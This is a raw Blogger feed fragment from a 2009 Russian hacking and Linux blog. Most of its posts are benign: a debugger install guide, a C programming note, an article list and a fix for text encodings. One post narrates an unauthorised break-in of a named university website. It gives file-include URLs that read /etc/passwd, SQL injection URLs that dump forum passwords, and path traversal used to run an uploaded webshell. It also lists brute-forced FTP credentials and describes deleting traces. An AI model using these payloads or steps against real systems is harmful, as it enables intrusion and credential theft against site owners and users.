href='http://kerny.ru/feeds/6510363695696221367/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/10/grub-linux-windows.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6510363695696221367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6510363695696221367'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/10/grub-linux-windows.html' title='Grub Linux &amp; Windows'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oxXdxKIGwp0/SusRxDO5WrI/AAAAAAAAAL0/Z76k2vUGoW4/s72-c/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-7503984215417415821</id><published>2009-10-12T15:34:00.011+04:00</published><updated>2009-10-12T17:16:12.857+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>EDB</title><content type='html'>Понадобился отладчик для &lt;a href="http://ru.wikipedia.org/wiki/Linux"&gt;Linux&lt;/a&gt;, стандартный gdb использовать было, как-то влом, хотелось чего нибудь похожего на &lt;a href="http://wasm.ru/tools/9/odbg.zip"&gt;&lt;span style="font-size:100%;"&gt;Olly Debugger&lt;/span&gt;&lt;/a&gt; под &lt;a href="http://ru.wikipedia.org/wiki/Microsoft_Windows"&gt;Windows&lt;/a&gt;,c таким же интуитивно понятным интерфейсом, так начались глобальные(&lt;span style="font-style: italic;"&gt;ну, может и не такие уж и глобальные&lt;/span&gt;) поиски отладчика для Linux, свой выбор я остановил на &lt;a href="http://linux.softpedia.com/progDownload/EDB-Evan-s-Debugger-Download-19734.html"&gt;EDB&lt;/a&gt;, в нем конечно поменьше функций, чем в Olly, но тем не менее он мне понравился.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/StMe5Eni9lI/AAAAAAAAALs/B0AWbQikJ7I/s1600-h/32.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 229px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/StMe5Eni9lI/AAAAAAAAALs/B0AWbQikJ7I/s320/32.png" alt="" id="BLOGGER_PHOTO_ID_5391687144733603410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Итак, качаем &lt;a href="http://linux.softpedia.com/progDownload/EDB-Evan-s-Debugger-Download-19734.html"&gt;отсюда&lt;/a&gt; распаковываем, в нужный каталог, но устанавливать не спешим, для работы программы нужен &lt;a href="http://get.qt.nokia.com/qt/source/qt-x11-opensource-src-4.5.3.tar.gz"&gt;Qt&gt;=4.2&lt;/a&gt;, тоже качаем(&lt;span style="font-style: italic;"&gt;все ссылки на софт можно найти в конце поста&lt;/span&gt;). Распаковываем и устанавливаем:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-style: italic;"&gt;cd /Путь_к_распакованной папке/&lt;/span&gt; &lt;span style="font-style: italic;"&gt;&lt;br /&gt;./configure&lt;/span&gt; &lt;span style="font-style: italic;"&gt;make&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;или вместо make&lt;/span&gt; &lt;span style="font-style: italic;"&gt;su -c "make install"&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;У меня компилировалось долго... Затем ставим сам debugger, для этого в консоле переходим в(только предварительно зайдя под root):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;su - root&lt;/span&gt; &lt;span style="font-style: italic;"&gt;&lt;br /&gt;cd /usr/local/Trolltech/Qt-4.5.3/bin&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;./qmake /Путь_к_распакованной папке/debugger.pro&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;make&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;make INSTALL_ROOT=/usr/ install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Затем в папке с EDB запускаем файл edb.desktop или же вводим в консоле edb, если после запуска будет ругаться, покапайтесь в настройках.&lt;a href="http://doc.crossplatform.ru/qt/4.3.2/qmake-tutorial.html"&gt; Подробнее о qmake...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://get.qt.nokia.com/qt/source/qt-x11-opensource-src-4.5.3.tar.gz"&gt;Скачать Qt-4.5.3&lt;/a&gt;&lt;br /&gt;&lt;a href="http://linux.softpedia.com/progDownload/EDB-Evan-s-Debugger-Download-19734.html"&gt;Cкачать Edb&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-7503984215417415821?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/7503984215417415821/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/10/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7503984215417415821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7503984215417415821'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/10/blog-post.html' title='EDB'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oxXdxKIGwp0/StMe5Eni9lI/AAAAAAAAALs/B0AWbQikJ7I/s72-c/32.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-9215762351484573299</id><published>2009-08-25T19:24:00.008+04:00</published><updated>2009-08-25T19:39:28.960+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Взлом'/><title type='text'>PHP – Include, и немного удачи.</title><content type='html'>Сегодня мы рассмотрим к каким последствиям может привести  локальный PHP – Include, скажу сразу в более удачных ситуациях, последствия могут быть еще более плачебны.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Собираем Баги.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Все началось с найденной  на сайте БГУ уязвимости, в другой день и при других обстоятельствах, я, скорее всего не обратил бы на нее внимания, но этому сайту повезло (или не повезло, смотря, как посмотреть). &lt;br /&gt;&lt;br /&gt;http://www.brgu.ru/index.php?openpage=/etc/passwd&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/SpQChmhdX0I/AAAAAAAAAJc/DO0gFBlnylg/s1600-h/1.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 129px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/SpQChmhdX0I/AAAAAAAAAJc/DO0gFBlnylg/s320/1.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5373923031659667266" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Итак, мы имеем локальный PHP – Include.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;?&lt;br /&gt;&lt;br /&gt;//..................................&lt;br /&gt;&lt;br /&gt; if (@$_GET['openpage'])&lt;br /&gt;$file=$_GET['openpage'];&lt;br /&gt;&lt;br /&gt;if(file_exists($file))&lt;br /&gt;include($file);&lt;br /&gt;&lt;br /&gt;else&lt;br /&gt;print ('file not found');&lt;br /&gt;&lt;br /&gt;//..............................&lt;br /&gt;&lt;br /&gt;?&gt; &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Он был порожден примерно таким кодом, функция  file_exists, проверяет, существует ли такой файл на сервере, а затем, если существует инклудит его, таким образом, мы можем читать файлы  на сервере, но нужно иметь полный путь к файлу и соответствующие права (например, файл /etc/shadow, мы не прочтем — прав не хватит). &lt;br /&gt;&lt;br /&gt;Проверим параметры на уязвимость к sql инъекции.&lt;br /&gt;&lt;br /&gt;http://www.brgu.ru/index.php?openpage=readnews.php&amp;id=227+union+select+1,2,user(),database(),version(),6,7+limit+1,1--&lt;br /&gt; &lt;br /&gt;Версия БД  -  4.1.20 значит служебной таблицы information_schema, в которой хранятся название всех таблиц и колонок не существует, прийдется гадать, но это оказалось не сложно:&lt;br /&gt;&lt;br /&gt;http://www.brgu.ru/index.php?openpage=readnews.php&amp;id=227+union+select+1,2,password,database(),name,6,7+from+users+limit+1,1--&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/SpQCw3ci3JI/AAAAAAAAAJk/RUFDxDFuvSY/s1600-h/2.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 304px; height: 57px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/SpQCw3ci3JI/AAAAAAAAAJk/RUFDxDFuvSY/s320/2.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5373923293900496018" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Получили доступ к таблице, в которой хранятся аккаунты пользователей форума, нашли админский. &lt;br /&gt;&lt;br /&gt;Теперь нам не придется регистрироваться, заходим под любым аккаунтом, ищем баги дальше.&lt;br /&gt;&lt;br /&gt;Форум выглядит не очень безопасным.cмотрим на копирайты, понятно форум самописный, ну что, могу спорить он весь в дырах.&lt;br /&gt;&lt;br /&gt;Снова php – include:&lt;br /&gt;&lt;br /&gt;http://www.forum.brgu.ru/index.php?page=/etc/passwd&lt;br /&gt;&lt;br /&gt;Пробуем оставить сообщение на форуме:&lt;br /&gt;&lt;br /&gt;[sсriрt]аlеrt('хss')[/sсriрt]&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/SpQDAwAEqVI/AAAAAAAAAJs/cr_WNenOwiA/s1600-h/5.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 121px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/SpQDAwAEqVI/AAAAAAAAAJs/cr_WNenOwiA/s320/5.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5373923566779935058" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Выдим выскочило окно с надписью xss, да и межсайтовый скриптинг при нас.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Получаем Вебшелл.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Уязвимостей тут хоть отбавляй, казалось бы при таком смертельно опасном наборе дыр, взломать сайт не составит проблем, но на самом деле мы не так уж и много имеем sql – иньекция исчерпала свой потенциал, когда отдала нам аккаунты пользователей форма, тем самым сделав бесполезным использование xss, остался только php-include, тоесть мы можем проинклудить вредоносный php скрипт, да но нужно для начала залить этот скрипт на сервер, посмотрев форум мы убедились, что залить свою аватару или вообще заливать свои файлы — возможности нет.&lt;br /&gt;&lt;br /&gt;Уже от безнадежности сканируя порты я  заметил, что тут стоит фтп сервер и есть анонимный доступ, причем папка &lt;br /&gt;&lt;br /&gt;ftp://www.brgu.ru/pub_rw/%C4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Доступна для записи! &lt;br /&gt;&lt;br /&gt;А что если проинклудить файл с фтп? нужно попробывать!&lt;br /&gt;&lt;br /&gt;Допустим, существует фтп сервер, но он не предоставляет всю файловую систему в наше распоряжение (если только админ не постарался этого настроить) а только отдельную директорию (такая директория называется домашней директорией фтп сервера), то есть к файлам на фтп теоретически можно обратиться и из http, только нужно знать «домашний» каталог фтп сервера, путь к нему. Примерно так я представлял себе структуру файлов на сервере (на самом деле она оказалась другой, но это не важно, главное принцип)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/SpQDQD3PJwI/AAAAAAAAAJ0/lPwF9DuRChg/s1600-h/3.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 236px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/SpQDQD3PJwI/AAAAAAAAAJ0/lPwF9DuRChg/s320/3.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5373923829809620738" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;http://www.brgu.ru/index.php?openpage=../&lt;br /&gt;&lt;br /&gt;Означает подняться на один каталог вверх, то есть мне не нужно искать полный путь к домашней папке фтп сервера, а достаточно, знать только название  папки (если, конечно, сайт и домашняя директория фтп, находятся в одном дереве каталогов), и просто попытаться угадать&lt;br /&gt;&lt;br /&gt;http://www.brgu.ru/index.php?openpage=../ftphome&lt;br /&gt;http://www.brgu.ru/index.php?openpage=../../ftphome&lt;br /&gt;http://www.brgu.ru/index.php?openpage=../../../ftphome&lt;br /&gt;&lt;br /&gt;И так пока не пропадет ошибка, если она пропадет, то значит, такой каталог существует, кстати,  всегда, можно автоматизировать процесс...&lt;br /&gt;&lt;br /&gt;Мне не пришлось  этого делать, ибо мне улыбнулась удача!&lt;br /&gt;&lt;br /&gt;http://www.brgu.ru/index.php?openpage=../../ftp/&lt;br /&gt;&lt;br /&gt;После я зашел на фтп сервер и залил на него скрипт вебшелла, а затем проинклудил его&lt;br /&gt;&lt;br /&gt;http://www.brgu.ru/index.php?openpage=../../ftp/pub_rw/%C4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8/shell.php&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/SpQDc5et2qI/AAAAAAAAAJ8/klYe71mm2C0/s1600-h/4.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 189px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/SpQDc5et2qI/AAAAAAAAAJ8/klYe71mm2C0/s320/4.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5373924050360720034" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Теперь вернемся к /etc/passwd, здесь мы можем видеть аккаунты всех пользователей сервера, у r57, есть замечательная возможность, мы можем попробывать сбрутить более привилегированные  аккаунты к фтп серверу опираясь на /etc/passwd, получаем:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;ftp:ftp&lt;br /&gt;aspirantura1:aspirantura1&lt;br /&gt;profcom11:profcom11&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Теперь закачаем наш шелл в другой каталог, и удалим с фтп сервера файлы, что мы заливали ранее (чтоб не палится).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Защита.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Я расскажу только о защите от php – include, поскольку, все остальные уязвимости, найденные в скриптах, не сыграли почти ни какой роли.&lt;br /&gt;&lt;br /&gt;Самый надежный способ защититься, это создать массив, в котором будут храниться все возможные значения переменной, и проверять — если в массиве не встречается такого значения переменной, то, например,  редикет на главную страницу сайта.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;?&lt;br /&gt;&lt;br /&gt;//..................................&lt;br /&gt;&lt;br /&gt;$module = $_GET['module'];&lt;br /&gt;$arr = array('main', 'about', 'links', 'forum');&lt;br /&gt;if (!in_array($module,$arr)) $module = $arr[0];&lt;br /&gt;include $module . '.php';&lt;br /&gt;&lt;br /&gt;//..............................&lt;br /&gt;&lt;br /&gt;?&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Вывод.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Я не ставили своей целью получение root на сервере и проникновение во внутреннюю сеть, поэтому остановился на достигнутом, надеюсь, администратор сделать свои выводы из выше написанного.&lt;br /&gt;&lt;br /&gt;22.06.09&lt;br /&gt;(c)Kerny&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-9215762351484573299?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/9215762351484573299/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/08/php-include.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/9215762351484573299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/9215762351484573299'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/08/php-include.html' title='PHP – Include, и немного удачи.'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oxXdxKIGwp0/SpQChmhdX0I/AAAAAAAAAJc/DO0gFBlnylg/s72-c/1.bmp' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-7780900105617687445</id><published>2009-08-16T22:21:00.006+04:00</published><updated>2009-08-16T22:38:34.818+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>Начал изучать C</title><content type='html'>Сегодня начал изучать Cи, теперь буду кодить под Linux, написал первую прогу, по скольку, когда - то давно моей самой первой  (вроде на делфи) была прога, которая решает увадратные уравнения, то у меня уже, что-то вроде традиции, начинать изучение новых языков программирования именно с нее, вот очередной экземпляр на си, она и под Windows должна запуститься, ведь тут использованы только функции самого языка.&lt;br /&gt;&lt;br /&gt;Компилируем так:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;gcc -0 Kvadrick Kvadrick.c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;В архиве исходник и скомпилированный файл под Linux.&lt;br /&gt;&lt;a href="http://ifolder.ru/13571713"&gt;ifolder&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-7780900105617687445?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/7780900105617687445/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/08/c.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7780900105617687445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7780900105617687445'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/08/c.html' title='Начал изучать C'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-7953325635063589093</id><published>2009-08-09T14:47:00.024+04:00</published><updated>2010-03-11T00:37:20.265+03:00</updated><title type='text'>Статьи</title><content type='html'>&lt;div style="text-align: left;"&gt;Список статей, когда либо написанных мной, со ссылками на них, пополняется по мере написания новых:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;&lt;a href="http://hackzona.ru/hz.php?name=News&amp;amp;file=article&amp;amp;sid=8874"&gt;Дефейс за две минуты&lt;/a&gt;&lt;br /&gt;&lt;a href="http://hackzona.ru/hz.php?name=News&amp;amp;file=article&amp;amp;sid=8943"&gt;Меняя mac&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;От формул к процессору:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/05/i.html"&gt;+Часть Первая&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/05/ii.html"&gt;+Часть Вторая&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/05/iii.html"&gt;+Часть Третья&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/05/iv.html"&gt;+Часть Четвертая&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/05/v.html"&gt;+Часть Пятая&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/05/delphi.html"&gt;Визуализация в Delphi&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/03/crackme1-shturmovik.html"&gt;Взлом Crackme&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/03/windows.html"&gt;Взлом ПК под управлением Windows&lt;/a&gt;&lt;br /&gt;&lt;a href="http://forum.hackzona.ru/forum-f8/thread-t14429/post91548.html"&gt;Недостатки форматной строки&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/08/php-include.html"&gt;PHP – Include, And little good luck&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2010/01/blog-post.html"&gt;Привкус Виртуальности&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2009/11/blog-post.html"&gt;Ссылка в никуда или сломанный указатель.&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2010/01/cgi_24.html"&gt;Совсем чуть-чуть о cgi&lt;/a&gt;&lt;br /&gt;&lt;a href="http://forum.antichat.ru/showpost.php?p=1937382&amp;amp;postcount=1"&gt;Программирование графических приложения для Linux&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny-auroras.blogspot.com/2010/03/gimp.html"&gt;Некоторые вещи в Gimp&lt;/a&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-7953325635063589093?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/7953325635063589093/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/08/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7953325635063589093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7953325635063589093'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/08/blog-post.html' title='Статьи'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-6196183483366934321</id><published>2009-08-09T14:43:00.007+04:00</published><updated>2009-12-19T16:54:08.747+03:00</updated><title type='text'>Связь</title><content type='html'>Со мной можно связаться:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;icq:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:130%;" &gt;243935&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;mail:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-size:130%;" &gt;Kerny[@]hackzona.ru&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-6196183483366934321?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/6196183483366934321/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/08/test.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6196183483366934321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6196183483366934321'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/08/test.html' title='Связь'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-2262443992452080969</id><published>2009-08-07T20:48:00.006+04:00</published><updated>2009-10-12T16:24:09.104+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Проблемы с кодировками в Linux</title><content type='html'>После перехода на Linux, возникли проблемы с русскими кодировками. Нельзя было скачать файл с русским именем с фтп сервера, через фрифокс. Со встроенным клиентом - FTPGrabber' ом таже история, вместо русских шрифтов показывалась всякая лабуда, качаться не хочет и т.п, после некоторого времени я нашел решения (некоторые из них мне подсказали), не могу не поделится ними.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/SnxdUegn2aI/AAAAAAAAAIM/AngnvypjUpA/s1600-h/5.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 136px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/SnxdUegn2aI/AAAAAAAAAIM/AngnvypjUpA/s320/5.png" alt="" id="BLOGGER_PHOTO_ID_5367267462287448482" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Итак, начнем с фрифокса. Пишем в строке адреса about:config появляется огромный список, в нем находим network.standart-url.encode-utf-8 и присваеваем ему значение false, затем network.standart-url.escape-utf-8 то же false.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/SnxeJM2hr2I/AAAAAAAAAIU/pU1testgvSQ/s1600-h/7.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 54px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/SnxeJM2hr2I/AAAAAAAAAIU/pU1testgvSQ/s320/7.jpeg" alt="" id="BLOGGER_PHOTO_ID_5367268368080547682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Теперь разбиремся с FTPGrabber. Запустили, идем в settings=&gt;configure, выбираем вкладку bookmarks, в поле Encoding выбираем Сyrillic (cp 1251). Если эта кодировка не катит, тогда смотрим какая кодировка установлена на сервере и ставим ее. Чтобы узнать кодировку сервера, открываем фрифокс заходим на сервер, жмем на правую кнопку мыши (чтобы вызвать контекстное меню) и выбираем пункт - информация о странице, там и будут нужные нам данные.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/Snxge_YnG4I/AAAAAAAAAIc/sU5tR257hG8/s1600-h/1236.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 228px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/Snxge_YnG4I/AAAAAAAAAIc/sU5tR257hG8/s320/1236.jpeg" alt="" id="BLOGGER_PHOTO_ID_5367270941445790594" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 